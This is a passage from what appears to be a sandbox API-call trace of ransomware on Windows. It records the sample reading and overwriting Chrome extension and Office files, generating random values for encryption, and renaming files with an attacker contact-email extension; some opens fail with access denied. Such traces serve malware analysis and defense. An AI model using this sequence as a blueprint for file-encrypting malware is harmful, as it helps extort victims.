out: Seed=0x791fcc4) returned 0x647a2318 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x6d130356 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0xba93237 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x7de631fd [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x62307570 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x27626c3 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x50009215 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x250c739b [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x33076282 [0178.804] ReadFile (hFile=0x142c, lpBuffer=0xd511880, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x791fcb4, lpOverlapped=0x0) [0178.804] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.804] WriteFile (in: hFile=0x142c, lpBuffer=0xd51e088*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x791fcb0, lpOverlapped=0x0 | out: lpBuffer=0xd51e088*, lpNumberOfBytesWritten=0x791fcb0*=0x2d0, lpOverlapped=0x0) returned 1 [0179.161] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095a0 [0179.161] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909578 [0179.161] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0179.161] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0179.162] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0179.162] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8d28) returned 1 [0179.162] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2ae8) returned 1 [0179.163] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88f8 [0179.163] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.163] WriteFile (in: hFile=0x142c, lpBuffer=0x12cf6210*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x791fd18, lpOverlapped=0x0 | out: lpBuffer=0x12cf6210*, lpNumberOfBytesWritten=0x791fd18*=0x10b, lpOverlapped=0x0) returned 1 [0179.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6210) returned 1 [0179.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0179.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0179.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0179.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095a0) returned 1 [0179.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909460) returned 1 [0179.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909500) returned 1 [0179.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909528) returned 1 [0179.165] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x8f3eb8 [0179.165] wcscpy (in: _Dest=0x8f3eb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" [0179.165] wcscat (in: _Dest=0x8f3eb8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0179.165] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x791fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0179.165] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x929730 Thread: id = 6958 os_tid = 0x640 [0175.540] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0175.541] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json", dwFileAttributes=0x20) returned 1 [0178.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18b8 [0178.804] GetFileSizeEx (in: hFile=0x18b8, lpFileSize=0x9cbfe18 | out: lpFileSize=0x9cbfe18*=595) returned 1 [0178.804] SetFilePointerEx (in: hFile=0x18b8, liDistanceToMove=0x24f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.804] ReadFile (in: hFile=0x18b8, lpBuffer=0x9cbfd9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9cbfd98, lpOverlapped=0x0 | out: lpBuffer=0x9cbfd9c*, lpNumberOfBytesRead=0x9cbfd98*=0x4, lpOverlapped=0x0) returned 1 [0178.806] SetFilePointerEx (in: hFile=0x18b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.806] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ac8 [0178.806] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9094d8 [0178.806] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909550 [0178.806] NtQuerySystemTime (in: CurrentTime=0x9cbfd78 | out: CurrentTime=0x9cbfd78*=132174899534086000) returned 0x0 [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x63749798 [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x1aa35002 [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x2ca211e7 [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x310e577a [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x651fded8 [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x3ce623d1 [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x60b4866a [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x4d77b381 [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x1333d9c3 [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x3f23007b [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x2b608fda [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x1b1851eb [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x186540ef [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x4fdd636e [0178.806] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x5e245a4c [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x497a714 [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x24fad6aa [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x193b4002 [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x626f01fc [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x472b4908 [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x4fef7957 [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x51a3ef0f [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x2cb4da9a [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x764bf82f [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x69bbc3e2 [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0xd9560a7 [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x784bdaba [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x6171a65e [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x5eb8d87d [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x5db0ad70 [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x14e4af55 [0178.807] RtlRandomEx (in: Seed=0x9cbfd84 | out: Seed=0x9cbfd84) returned 0x39d57f9c [0178.821] ReadFile (hFile=0x18b8, lpBuffer=0x1334e870, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x9cbfd74, lpOverlapped=0x0) [0178.821] SetFilePointerEx (in: hFile=0x18b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.821] WriteFile (in: hFile=0x18b8, lpBuffer=0x1335b078*, nNumberOfBytesToWrite=0x253, lpNumberOfBytesWritten=0x9cbfd70, lpOverlapped=0x0 | out: lpBuffer=0x1335b078*, lpNumberOfBytesWritten=0x9cbfd70*=0x253, lpOverlapped=0x0) returned 1 [0179.148] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9094b0 [0179.148] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909488 [0179.148] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909488) returned 1 [0179.148] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1335b078) returned 1 [0179.148] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1334e870) returned 1 [0179.148] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8878) returned 1 [0179.148] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2bc0) returned 1 [0179.148] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88f8 [0179.149] SetFilePointerEx (in: hFile=0x18b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.149] WriteFile (in: hFile=0x18b8, lpBuffer=0x12cf6210*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x9cbfdd8, lpOverlapped=0x0 | out: lpBuffer=0x12cf6210*, lpNumberOfBytesWritten=0x9cbfdd8*=0x10b, lpOverlapped=0x0) returned 1 [0179.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6210) returned 1 [0179.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0179.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909488) returned 1 [0179.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0179.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094b0) returned 1 [0179.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094d8) returned 1 [0179.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0179.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095a0) returned 1 [0179.152] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x186) returned 0x8f3eb8 [0179.152] wcscpy (in: _Dest=0x8f3eb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" [0179.152] wcscat (in: _Dest=0x8f3eb8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0179.152] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x9cbfd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0179.152] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x19c) returned 0x929730 Thread: id = 6959 os_tid = 0x1f64 [0175.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.dpv")) returned 0x20 [0180.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV", dwFileAttributes=0x20) returned 0 [0180.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.453] GetLastError () returned 0x5 [0180.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV", dwFileAttributes=0x20) returned 0 [0180.453] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8da8) returned 1 Thread: id = 6960 os_tid = 0x1f68 [0175.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml")) returned 0x20 [0180.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML", dwFileAttributes=0x20) returned 0 [0180.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.452] GetLastError () returned 0x5 [0180.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML", dwFileAttributes=0x20) returned 0 [0180.452] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b73a0) returned 1 Thread: id = 6961 os_tid = 0x1f6c [0175.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.dpv")) returned 0x20 [0180.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV", dwFileAttributes=0x20) returned 0 [0180.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.448] GetLastError () returned 0x5 [0180.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV", dwFileAttributes=0x20) returned 0 [0180.448] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7db8) returned 1 Thread: id = 6962 os_tid = 0x1f74 [0175.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml")) returned 0x20 [0180.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML", dwFileAttributes=0x20) returned 0 [0180.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.451] GetLastError () returned 0x5 [0180.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML", dwFileAttributes=0x20) returned 0 [0180.452] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b78f0) returned 1 Thread: id = 6963 os_tid = 0x16d8 [0175.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml")) returned 0x20 [0180.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML", dwFileAttributes=0x20) returned 0 [0180.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.435] GetLastError () returned 0x5 [0180.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML", dwFileAttributes=0x20) returned 0 [0180.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7978) returned 1 Thread: id = 6964 os_tid = 0x1f78 [0175.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.dpv")) returned 0x20 [0180.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV", dwFileAttributes=0x20) returned 0 [0180.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.451] GetLastError () returned 0x5 [0180.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV", dwFileAttributes=0x20) returned 0 [0180.451] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7758) returned 1 Thread: id = 6965 os_tid = 0x1f7c [0175.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml")) returned 0x20 [0180.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML", dwFileAttributes=0x20) returned 0 [0180.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.450] GetLastError () returned 0x5 [0180.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML", dwFileAttributes=0x20) returned 0 [0180.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b77e0) returned 1 Thread: id = 6966 os_tid = 0x1f80 [0175.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.dpv")) returned 0x20 [0180.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV", dwFileAttributes=0x20) returned 0 [0180.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.449] GetLastError () returned 0x5 [0180.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV", dwFileAttributes=0x20) returned 0 [0180.449] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8eb8) returned 1 Thread: id = 6967 os_tid = 0x1f84 [0175.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml")) returned 0x20 [0180.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML", dwFileAttributes=0x20) returned 0 [0180.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.447] GetLastError () returned 0x5 [0180.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML", dwFileAttributes=0x20) returned 0 [0180.447] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8f40) returned 1 Thread: id = 6968 os_tid = 0x1f88 [0175.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml")) returned 0x20 [0180.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML", dwFileAttributes=0x20) returned 0 [0180.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.449] GetLastError () returned 0x5 [0180.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML", dwFileAttributes=0x20) returned 0 [0180.449] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8fc8) returned 1 Thread: id = 6969 os_tid = 0x1f8c [0175.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 